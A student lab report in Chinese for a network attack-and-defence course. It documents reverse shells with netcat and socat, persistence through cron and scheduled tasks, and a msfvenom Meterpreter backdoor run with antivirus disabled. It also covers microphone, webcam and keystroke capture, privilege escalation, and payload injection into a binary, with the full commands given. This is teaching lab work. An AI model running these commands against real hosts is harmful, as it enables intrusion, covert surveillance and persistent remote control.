20222422 2024-2025-1 《網路與系統攻防技術》實驗二實驗報告

某热心市民發表於2024-10-20

一.實驗內容

(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)

PS:cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序

(2)使用socat獲取主機操作Shell, 任務計劃啟動

(3)使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。

二.實驗過程

1.使用netcat獲取主機操作Shell,cron啟動某項任務

(1)檢視主機和虛擬機器ip

主機:

虛擬機器:

(2)使用netcat進行連線並獲取shell

主機cmd進入ncat所在目錄,輸入指令:ncat.exe -l -p 2422

虛擬機器登入root使用者,輸入指令:nc 172.20.10.9 2422 -e /bin/sh

win主機輸入指令,測試主機是否成功獲取虛擬機器shell

如上圖,成功獲取。

(3)透過設定cron使得kali啟動定時任務。

進入虛擬機器的虛擬機器的root賬戶,輸入crontab -e

輸入指令30 * * * * /bin/netcat 172.20.10.9 2422 -e /bin/sh,設定為在每小時的第30分鐘啟動任務,之後輸入crontab -l檢視時程表:

此時,在虛擬機器/var/spool/cron/crontabs檔案中會出現一個root檔案

將主機與虛擬機器建立好連線,輸入:echo "* * * * * echo "20222422" > /home/kali/2422_1.txt" > /var/spool/cron/crontabs/root

檢視檔案是否被成功修改:

如上圖,已被成功修改。

2. 使用socat獲取主機操作Shell,任務計劃啟動

首先在主機端安裝socat,然後將cmd調至socat所在檔案

在主機輸入:socat.exe tcp-listen:2422 exec:cmd.exe,pty,stderr,把cmd.exe繫結到埠2422,並把cmd.exe的stderr重定向到stdout

在虛擬機器上輸入:socat - tcp:192.168.1.113:2422

在主機端編寫程式:

在虛擬機器輸入:schtasks /create /sc minute /mo 1 /tn "20222422tky" /tr E:\桌面\大三上學期\網路攻防\實驗二\code\bin\Debug\code.exe來每一分鐘執行一次這個程式:

在主機上,開啟計算機管理,看到正在執行的任務名“20222422tky”,說明實驗成功。

3.在Linux下使用MSF meterpreter生成可執行檔案,利用ncat或socat傳送到Windows主機並執行獲取主機shell

關閉windows的實時保護,同時關閉防火牆進行實驗。

(1)生成後門檔案

獲取虛擬機器ip

得到虛擬機器ip為:192.168.198.130

輸入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.130 LPORT=2422 -f exe > 2422backdoor.exe(使用msfvenom 工具生成一個反向 TCP Meterpreter shell 的 payload,並將其儲存到一個可執行檔案中。)

主機進入ncat所在目錄下,輸入指令:
ncat.exe -lv 2422 > "E:\桌面\2422backdoor.exe"(監聽2422視窗等待接收可執行檔案2422backdoor.exe,並將2422backdoor.exe檔案存放在桌面上)

虛擬機器上輸入指令:
nc 192.168.1.113 2422 < 2422backdoor.exe(將生成的後門檔案2422backdoor.exe傳給主機)

成功在桌面上接收到檔案:

(3)配置監聽模組

回到虛擬機器,在Kali終端輸入命令msfconsole,然後對監聽模組進行配置:

use exploit/multi/handler(使用監聽模組,設定payload)

set payload windows/meterpreter/reverse_tcp (使用和生成後門程式時相同的payload)

set LHOST 192.168.198,131 (攻擊機的IP地址,和生成後門程式時指定的IP相同)

set LPORT 2422(監聽的埠)

接著輸入exploit,使監聽模組開始執行,並在Windows執行後門2422backdoor.exe檔案

4.使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

(1)獲取目標主機音訊、截圖、攝像頭、鍵盤記錄

在exploit模組中繼續輸入以下命令:

record_mic   (音訊)

screenshot   (截圖)

webcam_snap (拍照)

keyscan_start (開始讀取鍵盤記錄)

keyscan_dump (讀取鍵盤記錄結束)

結果如下:(鍵盤記錄的字串將直接顯示在命令欄上)

(2)提權

使用管理員身份執行windows的cmd,繼續在exploit模組中繼續輸入:

getuid (檢視當前使用者)

getsystem (提權指令)

5.使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

在kali命令列下輸入:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -x /root/Desktop/pwn20222422 -f elf > pwn_2422

(使用了msfvenom 工具生成一個 Meterpreter 反向 TCP shell的 payload,並將其注入到指定的可執行檔案中,然後將結果輸出到一個名為pwn_2422的檔案中。)

對生成的pwn_2422檔案賦予許可權:

重現監聽:

開啟另一個shell,執行生成的2422_pwn檔案(需要使用root許可權),回到第一個終端,成功實現遠端控制shell

3.問題及解決方案

問題一:在使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell實驗中,最開始輸入的命令是msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.198.131 LPORT=2422 -x /root/Desktop/pwn20222422 -f elf > 2422_pwn,隨後在監聽中也使用的是linux/x64/meterpreter/reverse_tcp的payload,發現實驗無法成功。

問題一解決:將命令裡的x64更改為x86,即linux/x86/meterpreter/reverse_tcp後再進行後續步驟,發現實驗成功。

問題二:在生成後門檔案,並傳輸到windows後,發現windows不讓啟動後門檔案,且過段時間會自動刪除。

問題二解決:在實驗前把windows的防火牆和實時保護等功能關閉,發現能夠成功執行後門檔案。

問題三:在使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell實驗中,發現生成的pwn_2422無法執行,沒有許可權。

問題三解決:輸入chmod a+x pwn_2422和chmod 755 pwn_2422來賦予許可權,得以解決。

4.學習感悟、思考等

這次實驗讓我深刻體會到了網路安全工具的多樣性和強大功能。無論是netcat、socat這樣的網路工具,還是Metasploit Framework(MSF)這樣的滲透測試框架,它們都在各自的領域內發揮著不可替代的作用。透過學習和使用這些工具,我不僅掌握了它們的基本操作,更重要的是,我學會了如何根據實際需求靈活運用它們,以達到預期的安全目標。
實驗過程中遇到的種種挑戰和困難,讓我深刻認識到了網路安全領域的複雜性和動態性。無論是緩衝區溢位、許可權提升,還是資訊收集、遠端監控,每一個實驗都涉及到了多個層面的知識和技能。在解決問題的過程中,我不僅鍛鍊了自己的邏輯思維和問題解決能力,還學會了如何快速適應和應對不斷變化的網路環境。

相關文章